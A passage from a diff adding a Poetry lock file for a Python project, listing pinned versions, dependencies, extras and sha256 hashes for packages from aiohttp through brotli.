+ {file = "aiohttp-3.8.4-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:10c8cefcff98fd9168cdd86c4da8b84baaa90bf2da2269c6161984e6737bf23e"},
+ {file = "aiohttp-3.8.4-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:bca5f24726e2919de94f047739d0a4fc01372801a3672708260546aa2601bf57"},
+ {file = "aiohttp-3.8.4-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:03baa76b730e4e15a45f81dfe29a8d910314143414e528737f8589ec60cf7391"},
+ {file = "aiohttp-3.8.4-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:8c29c77cc57e40f84acef9bfb904373a4e89a4e8b74e71aa8075c021ec9078c2"},
+ {file = "aiohttp-3.8.4-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:03543dcf98a6619254b409be2d22b51f21ec66272be4ebda7b04e6412e4b2e14"},
+ {file = "aiohttp-3.8.4-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:17b79c2963db82086229012cff93ea55196ed31f6493bb1ccd2c62f1724324e4"},
+ {file = "aiohttp-3.8.4-cp39-cp39-win32.whl", hash = "sha256:34ce9f93a4a68d1272d26030655dd1b58ff727b3ed2a33d80ec433561b03d67a"},
+ {file = "aiohttp-3.8.4-cp39-cp39-win_amd64.whl", hash = "sha256:41a86a69bb63bb2fc3dc9ad5ea9f10f1c9c8e282b471931be0268ddd09430b04"},
+ {file = "aiohttp-3.8.4.tar.gz", hash = "sha256:bf2e1a9162c1e441bf805a1fd166e249d574ca04e03b34f97e2928769e91ab5c"},
+]
+
+[package.dependencies]
+aiosignal = ">=1.1.2"
+async-timeout = ">=4.0.0a3,<5.0"
+attrs = ">=17.3.0"
+charset-normalizer = ">=2.0,<4.0"
+frozenlist = ">=1.1.1"
+multidict = ">=4.5,<7.0"
+yarl = ">=1.0,<2.0"
+
+[package.extras]
+speedups = ["Brotli", "aiodns", "cchardet"]
+
+[[package]]
+name = "aioitertools"
+version = "0.11.0"
+description = "itertools and builtins for AsyncIO and mixed iterables"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "aioitertools-0.11.0-py3-none-any.whl", hash = "sha256:04b95e3dab25b449def24d7df809411c10e62aab0cbe31a50ca4e68748c43394"},
+ {file = "aioitertools-0.11.0.tar.gz", hash = "sha256:42c68b8dd3a69c2bf7f2233bf7df4bb58b557bca5252ac02ed5187bbc67d6831"},
+]
+
+[[package]]
+name = "aiormq"
+version = "6.6.4"
+description = "Pure python AMQP asynchronous client library"
+optional = false
+python-versions = ">=3.7,<4.0"
+files = [
+ {file = "aiormq-6.6.4-py3-none-any.whl", hash = "sha256:9fb93dc871eb9c45a410e29669624790c01b70d27f20d512a22b146c411440ea"},
+ {file = "aiormq-6.6.4.tar.gz", hash = "sha256:95835a4db6117263305d450f838ccdc3eabd427c0deb32fd617769ad4c989e98"},
+]
+
+[package.dependencies]
+pamqp = "3.2.1"
+yarl = "*"
+
+[[package]]
+name = "aiosignal"
+version = "1.3.1"
+description = "aiosignal: a list of registered asynchronous callbacks"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "aiosignal-1.3.1-py3-none-any.whl", hash = "sha256:f8376fb07dd1e86a584e4fcdec80b36b7f81aac666ebc724e2c090300dd83b17"},
+ {file = "aiosignal-1.3.1.tar.gz", hash = "sha256:54cd96e15e1649b75d6c87526a6ff0b6c1b0dd3459f43d9ca11d48c339b68cfc"},
+]
+
+[package.dependencies]
+frozenlist = ">=1.1.0"
+
+[[package]]
+name = "aiosqlite"
+version = "0.19.0"
+description = "asyncio bridge to the standard sqlite3 module"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "aiosqlite-0.19.0-py3-none-any.whl", hash = "sha256:edba222e03453e094a3ce605db1b970c4b3376264e56f32e2a4959f948d66a96"},
+ {file = "aiosqlite-0.19.0.tar.gz", hash = "sha256:95ee77b91c8d2808bd08a59fbebf66270e9090c3d92ffbf260dc0db0b979577d"},
+]
+
+[package.extras]
+dev = ["aiounittest (==1.4.1)", "attribution (==1.6.2)", "black (==23.3.0)", "coverage[toml] (==7.2.3)", "flake8 (==5.0.4)", "flake8-bugbear (==23.3.12)", "flit (==3.7.1)", "mypy (==1.2.0)", "ufmt (==2.1.0)", "usort (==1.0.6)"]
+docs = ["sphinx (==6.1.3)", "sphinx-mdinclude (==0.5.3)"]
+
+[[package]]
+name = "anyio"
+version = "3.7.1"
+description = "High level compatibility layer for multiple asynchronous event loop implementations"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "anyio-3.7.1-py3-none-any.whl", hash = "sha256:91dee416e570e92c64041bd18b900d1d6fa78dff7048769ce5ac5ddad004fbb5"},
+ {file = "anyio-3.7.1.tar.gz", hash = "sha256:44a3c9aba0f5defa43261a8b3efb97891f2bd7d804e0e1f56419befa1adfc780"},
+]
+
+[package.dependencies]
+idna = ">=2.8"
+sniffio = ">=1.1"
+
+[package.extras]
+doc = ["Sphinx", "packaging", "sphinx-autodoc-typehints (>=1.2.0)", "sphinx-rtd-theme (>=1.2.2)", "sphinxcontrib-jquery"]
+test = ["anyio[trio]", "coverage[toml] (>=4.5)", "hypothesis (>=4.0)", "mock (>=4)", "psutil (>=5.9)", "pytest (>=7.0)", "pytest-mock (>=3.6.1)", "trustme", "uvloop (>=0.17)"]
+trio = ["trio (<0.22)"]
+
+[[package]]
+name = "async-timeout"
+version = "4.0.2"
+description = "Timeout context manager for asyncio programs"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "async-timeout-4.0.2.tar.gz", hash = "sha256:2163e1640ddb52b7a8c80d0a67a08587e5d245cc9c553a74a847056bc2976b15"},
+ {file = "async_timeout-4.0.2-py3-none-any.whl", hash = "sha256:8ca1e4fcf50d07413d66d1a5e416e42cfdf5851c981d679a09851a6853383b3c"},
+]
+
+[[package]]
+name = "asyncpg"
+version = "0.27.0"
+description = "An asyncio PostgreSQL driver"
+optional = false
+python-versions = ">=3.7.0"
+files = [
+ {file = "asyncpg-0.27.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:fca608d199ffed4903dce1bcd97ad0fe8260f405c1c225bdf0002709132171c2"},
+ {file = "asyncpg-0.27.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:20b596d8d074f6f695c13ffb8646d0b6bb1ab570ba7b0cfd349b921ff03cfc1e"},
+ {file = "asyncpg-0.27.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7a6206210c869ebd3f4eb9e89bea132aefb56ff3d1b7dd7e26b102b17e27bbb1"},
+ {file = "asyncpg-0.27.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a7a94c03386bb95456b12c66026b3a87d1b965f0f1e5733c36e7229f8f137747"},
+ {file = "asyncpg-0.27.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:bfc3980b4ba6f97138b04f0d32e8af21d6c9fa1f8e6e140c07d15690a0a99279"},
+ {file = "asyncpg-0.27.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:9654085f2b22f66952124de13a8071b54453ff972c25c59b5ce1173a4283ffd9"},
+ {file = "asyncpg-0.27.0-cp310-cp310-win32.whl", hash = "sha256:879c29a75969eb2722f94443752f4720d560d1e748474de54ae8dd230bc4956b"},
+ {file = "asyncpg-0.27.0-cp310-cp310-win_amd64.whl", hash = "sha256:ab0f21c4818d46a60ca789ebc92327d6d874d3b7ccff3963f7af0a21dc6cff52"},
+ {file = "asyncpg-0.27.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:18f77e8e71e826ba2d0c3ba6764930776719ae2b225ca07e014590545928b576"},
+ {file = "asyncpg-0.27.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:c2232d4625c558f2aa001942cac1d7952aa9f0dbfc212f63bc754277769e1ef2"},
+ {file = "asyncpg-0.27.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9a3a4ff43702d39e3c97a8786314123d314e0f0e4dabc8367db5b665c93914de"},
+ {file = "asyncpg-0.27.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ccddb9419ab4e1c48742457d0c0362dbdaeb9b28e6875115abfe319b29ee225d"},
+ {file = "asyncpg-0.27.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:768e0e7c2898d40b16d4ef7a0b44e8150db3dd8995b4652aa1fe2902e92c7df8"},
+ {file = "asyncpg-0.27.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:609054a1f47292a905582a1cfcca51a6f3f30ab9d822448693e66fdddde27920"},
+ {file = "asyncpg-0.27.0-cp311-cp311-win32.whl", hash = "sha256:8113e17cfe236dc2277ec844ba9b3d5312f61bd2fdae6d3ed1c1cdd75f6cf2d8"},
+ {file = "asyncpg-0.27.0-cp311-cp311-win_amd64.whl", hash = "sha256:bb71211414dd1eeb8d31ec529fe77cff04bf53efc783a5f6f0a32d84923f45cf"},
+ {file = "asyncpg-0.27.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4750f5cf49ed48a6e49c6e5aed390eee367694636c2dcfaf4a273ca832c5c43c"},
+ {file = "asyncpg-0.27.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:eca01eb112a39d31cc4abb93a5aef2a81514c23f70956729f42fb83b11b3483f"},
+ {file = "asyncpg-0.27.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:5710cb0937f696ce303f5eed6d272e3f057339bb4139378ccecafa9ee923a71c"},
+ {file = "asyncpg-0.27.0-cp37-cp37m-win_amd64.whl", hash = "sha256:71cca80a056ebe19ec74b7117b09e650990c3ca535ac1c35234a96f65604192f"},
+ {file = "asyncpg-0.27.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:4bb366ae34af5b5cabc3ac6a5347dfb6013af38c68af8452f27968d49085ecc0"},
+ {file = "asyncpg-0.27.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:16ba8ec2e85d586b4a12bcd03e8d29e3d99e832764d6a1d0b8c27dbbe4a2569d"},
+ {file = "asyncpg-0.27.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d20dea7b83651d93b1eb2f353511fe7fd554752844523f17ad30115d8b9c8cd6"},
+ {file = "asyncpg-0.27.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:e56ac8a8237ad4adec97c0cd4728596885f908053ab725e22900b5902e7f8e69"},
+ {file = "asyncpg-0.27.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:bf21ebf023ec67335258e0f3d3ad7b91bb9507985ba2b2206346de488267cad0"},
+ {file = "asyncpg-0.27.0-cp38-cp38-win32.whl", hash = "sha256:69aa1b443a182b13a17ff926ed6627af2d98f62f2fe5890583270cc4073f63bf"},
+ {file = "asyncpg-0.27.0-cp38-cp38-win_amd64.whl", hash = "sha256:62932f29cf2433988fcd799770ec64b374a3691e7902ecf85da14d5e0854d1ea"},
+ {file = "asyncpg-0.27.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:fddcacf695581a8d856654bc4c8cfb73d5c9df26d5f55201722d3e6a699e9629"},
+ {file = "asyncpg-0.27.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:7d8585707ecc6661d07367d444bbaa846b4e095d84451340da8df55a3757e152"},
+ {file = "asyncpg-0.27.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:975a320baf7020339a67315284a4d3bf7460e664e484672bd3e71dbd881bc692"},
+ {file = "asyncpg-0.27.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2232ebae9796d4600a7819fc383da78ab51b32a092795f4555575fc934c1c89d"},
+ {file = "asyncpg-0.27.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:88b62164738239f62f4af92567b846a8ef7cf8abf53eddd83650603de4d52163"},
+ {file = "asyncpg-0.27.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:eb4b2fdf88af4fb1cc569781a8f933d2a73ee82cd720e0cb4edabbaecf2a905b"},
+ {file = "asyncpg-0.27.0-cp39-cp39-win32.whl", hash = "sha256:8934577e1ed13f7d2d9cea3cc016cc6f95c19faedea2c2b56a6f94f257cea672"},
+ {file = "asyncpg-0.27.0-cp39-cp39-win_amd64.whl", hash = "sha256:1b6499de06fe035cf2fa932ec5617ed3f37d4ebbf663b655922e105a484a6af9"},
+ {file = "asyncpg-0.27.0.tar.gz", hash = "sha256:720986d9a4705dd8a40fdf172036f5ae787225036a7eb46e704c45aa8f62c054"},
+]
+
+[package.extras]
+dev = ["Cython (>=0.29.24,<0.30.0)", "Sphinx (>=4.1.2,<4.2.0)", "flake8 (>=5.0.4,<5.1.0)", "pytest (>=6.0)", "sphinx-rtd-theme (>=0.5.2,<0.6.0)", "sphinxcontrib-asyncio (>=0.3.0,<0.4.0)", "uvloop (>=0.15.3)"]
+docs = ["Sphinx (>=4.1.2,<4.2.0)", "sphinx-rtd-theme (>=0.5.2,<0.6.0)", "sphinxcontrib-asyncio (>=0.3.0,<0.4.0)"]
+test = ["flake8 (>=5.0.4,<5.1.0)", "uvloop (>=0.15.3)"]
+
+[[package]]
+name = "asyncpg-stubs"
+version = "0.27.1"
+description = "asyncpg stubs"
+optional = false
+python-versions = ">=3.7,<4.0"
+files = [
+ {file = "asyncpg_stubs-0.27.1-py3-none-any.whl", hash = "sha256:ddcab786af645c3fc7a2b45f6c429a6eb02f99f718ead5850f1db02582629e7c"},
+ {file = "asyncpg_stubs-0.27.1.tar.gz", hash = "sha256:0d803aec80e8c8446694ae440ac5976fe5a8db66dc2bfb63b012c37c5bc7a653"},
+]
+
+[package.dependencies]
+asyncpg = ">=0.27,<0.28"
+typing-extensions = ">=4.2.0,<5.0.0"
+
+[[package]]
+name = "attrs"
+version = "23.1.0"
+description = "Classes Without Boilerplate"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "attrs-23.1.0-py3-none-any.whl", hash = "sha256:1f28b4522cdc2fb4256ac1a020c78acf9cba2c6b461ccd2c126f3aa8e8335d04"},
+ {file = "attrs-23.1.0.tar.gz", hash = "sha256:6279836d581513a26f1bf235f9acd333bc9115683f14f7e8fae46c98fc50e015"},
+]
+
+[package.extras]
+cov = ["attrs[tests]", "coverage[toml] (>=5.3)"]
+dev = ["attrs[docs,tests]", "pre-commit"]
+docs = ["furo", "myst-parser", "sphinx", "sphinx-notfound-page", "sphinxcontrib-towncrier", "towncrier", "zope-interface"]
+tests = ["attrs[tests-no-zope]", "zope-interface"]
+tests-no-zope = ["cloudpickle", "hypothesis", "mypy (>=1.1.1)", "pympler", "pytest (>=4.3.0)", "pytest-mypy-plugins", "pytest-xdist[psutil]"]
+
+[[package]]
+name = "bandit"
+version = "1.7.5"
+description = "Security oriented static analyser for python code."
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "bandit-1.7.5-py3-none-any.whl", hash = "sha256:75665181dc1e0096369112541a056c59d1c5f66f9bb74a8d686c3c362b83f549"},
+ {file = "bandit-1.7.5.tar.gz", hash = "sha256:bdfc739baa03b880c2d15d0431b31c658ffc348e907fe197e54e0389dd59e11e"},
+]
+
+[package.dependencies]
+colorama = {version = ">=0.3.9", markers = "platform_system == \"Windows\""}
+GitPython = ">=1.0.1"
+PyYAML = ">=5.3.1"
+rich = "*"
+stevedore = ">=1.20.0"
+
+[package.extras]
+test = ["beautifulsoup4 (>=4.8.0)", "coverage (>=4.5.4)", "fixtures (>=3.0.0)", "flake8 (>=4.0.0)", "pylint (==1.9.4)", "stestr (>=2.5.0)", "testscenarios (>=0.5.0)", "testtools (>=2.3.0)", "tomli (>=1.1.0)"]
+toml = ["tomli (>=1.1.0)"]
+yaml = ["PyYAML"]
+
+[[package]]
+name = "binaryornot"
+version = "0.4.4"
+description = "Ultra-lightweight pure Python package to check if a file is binary or text."
+optional = false
+python-versions = "*"
+files = [
+ {file = "binaryornot-0.4.4-py2.py3-none-any.whl", hash = "sha256:b8b71173c917bddcd2c16070412e369c3ed7f0528926f70cac18a6c97fd563e4"},
+ {file = "binaryornot-0.4.4.tar.gz", hash = "sha256:359501dfc9d40632edc9fac890e19542db1a287bbcfa58175b66658392018061"},
+]
+
+[package.dependencies]
+chardet = ">=3.0.2"
+
+[[package]]
+name = "black"
+version = "22.12.0"
+description = "The uncompromising code formatter."
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "black-22.12.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9eedd20838bd5d75b80c9f5487dbcb06836a43833a37846cf1d8c1cc01cef59d"},
+ {file = "black-22.12.0-cp310-cp310-win_amd64.whl", hash = "sha256:159a46a4947f73387b4d83e87ea006dbb2337eab6c879620a3ba52699b1f4351"},
+ {file = "black-22.12.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d30b212bffeb1e252b31dd269dfae69dd17e06d92b87ad26e23890f3efea366f"},
+ {file = "black-22.12.0-cp311-cp311-win_amd64.whl", hash = "sha256:7412e75863aa5c5411886804678b7d083c7c28421210180d67dfd8cf1221e1f4"},
+ {file = "black-22.12.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c116eed0efb9ff870ded8b62fe9f28dd61ef6e9ddd28d83d7d264a38417dcee2"},
+ {file = "black-22.12.0-cp37-cp37m-win_amd64.whl", hash = "sha256:1f58cbe16dfe8c12b7434e50ff889fa479072096d79f0a7f25e4ab8e94cd8350"},
+ {file = "black-22.12.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:77d86c9f3db9b1bf6761244bc0b3572a546f5fe37917a044e02f3166d5aafa7d"},
+ {file = "black-22.12.0-cp38-cp38-win_amd64.whl", hash = "sha256:82d9fe8fee3401e02e79767016b4907820a7dc28d70d137eb397b92ef3cc5bfc"},
+ {file = "black-22.12.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:101c69b23df9b44247bd88e1d7e90154336ac4992502d4197bdac35dd7ee3320"},
+ {file = "black-22.12.0-cp39-cp39-win_amd64.whl", hash = "sha256:559c7a1ba9a006226f09e4916060982fd27334ae1998e7a38b3f33a37f7a2148"},
+ {file = "black-22.12.0-py3-none-any.whl", hash = "sha256:436cc9167dd28040ad90d3b404aec22cedf24a6e4d7de221bec2730ec0c97bcf"},
+ {file = "black-22.12.0.tar.gz", hash = "sha256:229351e5a18ca30f447bf724d007f890f97e13af070bb6ad4c0a441cd7596a2f"},
+]
+
+[package.dependencies]
+click = ">=8.0.0"
+mypy-extensions = ">=0.4.3"
+pathspec = ">=0.9.0"
+platformdirs = ">=2"
+
+[package.extras]
+colorama = ["colorama (>=0.4.3)"]
+d = ["aiohttp (>=3.7.4)"]
+jupyter = ["ipython (>=7.8.0)", "tokenize-rt (>=3.2.0)"]
+uvloop = ["uvloop (>=0.15.2)"]
+
+[[package]]
+name = "blinker"
+version = "1.6.2"
+description = "Fast, simple object-to-object and broadcast signaling"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "blinker-1.6.2-py3-none-any.whl", hash = "sha256:c3d739772abb7bc2860abf5f2ec284223d9ad5c76da018234f6f50d6f31ab1f0"},
+ {file = "blinker-1.6.2.tar.gz", hash = "sha256:4afd3de66ef3a9f8067559fb7a1cbe555c17dcbe15971b05d1b625c3e7abe213"},
+]
+
+[[package]]
+name = "boto3"
+version = "1.24.59"
+description = "The AWS SDK for Python"
+optional = false
+python-versions = ">= 3.7"
+files = [
+ {file = "boto3-1.24.59-py3-none-any.whl", hash = "sha256:34ab44146a2c4e7f4e72737f4b27e6eb5e0a7855c2f4599e3d9199b6a0a2d575"},
+ {file = "boto3-1.24.59.tar.gz", hash = "sha256:a50b4323f9579cfe22fcf5531fbd40b567d4d74c1adce06aeb5c95fce2a6fb40"},
+]
+
+[package.dependencies]
+botocore = ">=1.27.59,<1.28.0"
+jmespath = ">=0.7.1,<2.0.0"
+s3transfer = ">=0.6.0,<0.7.0"
+
+[package.extras]
+crt = ["botocore[crt] (>=1.21.0,<2.0a0)"]
+
+[[package]]
+name = "botocore"
+version = "1.27.59"
+description = "Low-level, data-driven core of boto 3."
+optional = false
+python-versions = ">= 3.7"
+files = [
+ {file = "botocore-1.27.59-py3-none-any.whl", hash = "sha256:69d756791fc024bda54f6c53f71ae34e695ee41bbbc1743d9179c4837a4929da"},
+ {file = "botocore-1.27.59.tar.gz", hash = "sha256:eda4aed6ee719a745d1288eaf1beb12f6f6448ad1fa12f159405db14ba9c92cf"},
+]
+
+[package.dependencies]
+jmespath = ">=0.7.1,<2.0.0"
+python-dateutil = ">=2.1,<3.0.0"
+urllib3 = ">=1.25.4,<1.27"
+
+[package.extras]
+crt = ["awscrt (==0.14.0)"]
+
+[[package]]
+name = "breadability"
+version = "0.1.20"
+description = "Port of Readability HTML parser in Python"
+optional = false
+python-versions = "*"
+files = [
+ {file = "breadability-0.1.20.tar.gz", hash = "sha256:f1a7fdad1e58e295df80954879143824c706bbfb1826cdf4b1d15de1a86afe99"},
+]
+
+[package.dependencies]
+chardet = "*"
+docopt = ">=0.6.1,<0.7"
+lxml = ">=2.0"
+
+[[package]]
+name = "brotli"
+version = "1.0.9"
+description = "Python bindings for the Brotli compression library"
+optional = false
+python-versions = "*"
+files = [
+ {file = "Brotli-1.0.9-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:268fe94547ba25b58ebc724680609c8ee3e5a843202e9a381f6f9c5e8bdb5c70"},
+ {file = "Brotli-1.0.9-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:c2415d9d082152460f2bd4e382a1e85aed233abc92db5a3880da2257dc7daf7b"},
+ {file = "Brotli-1.0.9-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:5913a1177fc36e30fcf6dc868ce23b0453952c78c04c266d3149b3d39e1410d6"},
+ {file = "Brotli-1.0.9-cp27-cp27m-win32.whl", hash = "sha256:afde17ae04d90fbe53afb628f7f2d4ca022797aa093e809de5c3cf276f61bbfa"},
+ {file = "Brotli-1.0.9-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:7cb81373984cc0e4682f31bc3d6be9026006d96eecd07ea49aafb06897746452"},
+ {file = "Brotli-1.0.9-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:db844eb158a87ccab83e868a762ea8024ae27337fc7ddcbfcddd157f841fdfe7"},
+ {file = "Brotli-1.0.9-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:9744a863b489c79a73aba014df554b0e7a0fc44ef3f8a0ef2a52919c7d155031"},
+ {file = "Brotli-1.0.9-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:a72661af47119a80d82fa583b554095308d6a4c356b2a554fdc2799bc19f2a43"},
+ {file = "Brotli-1.0.9-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7ee83d3e3a024a9618e5be64648d6d11c37047ac48adff25f12fa4226cf23d1c"},
+ {file = "Brotli-1.0.9-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:19598ecddd8a212aedb1ffa15763dd52a388518c4550e615aed88dc3753c0f0c"},
+ {file = "Brotli-1.0.9-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:44bb8ff420c1d19d91d79d8c3574b8954288bdff0273bf788954064d260d7ab0"},
+ {file = "Brotli-1.0.9-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:e23281b9a08ec338469268f98f194658abfb13658ee98e2b7f85ee9dd06caa91"},
+ {file = "Brotli-1.0.9-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:3496fc835370da351d37cada4cf744039616a6db7d13c430035e901443a34daa"},
+ {file = "Brotli-1.0.9-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:b83bb06a0192cccf1eb8d0a28672a1b79c74c3a8a5f2619625aeb6f28b3a82bb"},
+ {file = "Brotli-1.0.9-cp310-cp310-win32.whl", hash = "sha256:26d168aac4aaec9a4394221240e8a5436b5634adc3cd1cdf637f6645cecbf181"},
+ {file = "Brotli-1.0.9-cp310-cp310-win_amd64.whl", hash = "sha256:622a231b08899c864eb87e85f81c75e7b9ce05b001e59bbfbf43d4a71f5f32b2"},
+ {file = "Brotli-1.0.9-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:cc0283a406774f465fb45ec7efb66857c09ffefbe49ec20b7882eff6d3c86d3a"},
+ {file = "Brotli-1.0.9-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:11d3283d89af7033236fa4e73ec2cbe743d4f6a81d41bd234f24bf63dde979df"},
+ {file = "Brotli-1.0.9-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3c1306004d49b84bd0c4f90457c6f57ad109f5cc6067a9664e12b7b79a9948ad"},
+ {file = "Brotli-1.0.9-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b1375b5d17d6145c798661b67e4ae9d5496920d9265e2f00f1c2c0b5ae91fbde"},
+ {file = "Brotli-1.0.9-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cab1b5964b39607a66adbba01f1c12df2e55ac36c81ec6ed44f2fca44178bf1a"},
+ {file = "Brotli-1.0.9-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:8ed6a5b3d23ecc00ea02e1ed8e0ff9a08f4fc87a1f58a2530e71c0f48adf882f"},
+ {file = "Brotli-1.0.9-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:cb02ed34557afde2d2da68194d12f5719ee96cfb2eacc886352cb73e3808fc5d"},
+ {file = "Brotli-1.0.9-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:b3523f51818e8f16599613edddb1ff924eeb4b53ab7e7197f85cbc321cdca32f"},
+ {file = "Brotli-1.0.9-cp311-cp311-win32.whl", hash = "sha256:ba72d37e2a924717990f4d7482e8ac88e2ef43fb95491eb6e0d124d77d2a150d"},
+ {file = "Brotli-1.0.9-cp311-cp311-win_amd64.whl", hash = "sha256:3ffaadcaeafe9d30a7e4e1e97ad727e4f5610b9fa2f7551998471e3736738679"},
+ {file = "Brotli-1.0.9-cp35-cp35m-macosx_10_6_intel.whl", hash = "sha256:c83aa123d56f2e060644427a882a36b3c12db93727ad7a7b9efd7d7f3e9cc2c4"},
+ {file = "Brotli-1.0.9-cp35-cp35m-manylinux1_i686.whl", hash = "sha256:6b2ae9f5f67f89aade1fab0f7fd8f2832501311c363a21579d02defa844d9296"},
+ {file = "Brotli-1.0.9-cp35-cp35m-manylinux1_x86_64.whl", hash = "sha256:68715970f16b6e92c574c30747c95cf8cf62804569647386ff032195dc89a430"},
+ {file = "Brotli-1.0.9-cp35-cp35m-win32.whl", hash = "sha256:defed7ea5f218a9f2336301e6fd379f55c655bea65ba2476346340a0ce6f74a1"},
+ {file = "Brotli-1.0.9-cp35-cp35m-win_amd64.whl", hash = "sha256:88c63a1b55f352b02c6ffd24b15ead9fc0e8bf781dbe070213039324922a2eea"},
+ {file = "Brotli-1.0.9-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:503fa6af7da9f4b5780bb7e4cbe0c639b010f12be85d02c99452825dd0feef3f"},
+ {file = "Brotli-1.0.9-cp36-cp36m-manylinux1_i686.whl", hash = "sha256:40d15c79f42e0a2c72892bf407979febd9cf91f36f495ffb333d1d04cebb34e4"},
+ {file = "Brotli-1.0.9-cp36-cp36m-manylinux1_x86_64.whl", hash = "sha256:93130612b837103e15ac3f9cbacb4613f9e348b58b3aad53721d92e57f96d46a"},
+ {file = "Brotli-1.0.9-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:87fdccbb6bb589095f413b1e05734ba492c962b4a45a13ff3408fa44ffe6479b"},
+ {file = "Brotli-1.0.9-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:6d847b14f7ea89f6ad3c9e3901d1bc4835f6b390a9c71df999b0162d9bb1e20f"},
+ {file = "Brotli-1.0.9-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:495ba7e49c2db22b046a53b469bbecea802efce200dffb69b93dd47397edc9b6"},
+ {file = "Brotli-1.0.9-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:4688c1e42968ba52e57d8670ad2306fe92e0169c6f3af0089be75bbac0c64a3b"},
+ {file = "Brotli-1.0.9-cp36-cp36m-win32.whl", hash = "sha256:61a7ee1f13ab913897dac7da44a73c6d44d48a4adff42a5701e3239791c96e14"},
+ {file = "Brotli-1.0.9-cp36-cp36m-win_amd64.whl", hash = "sha256:1c48472a6ba3b113452355b9af0a60da5c2ae60477f8feda8346f8fd48e3e87c"},
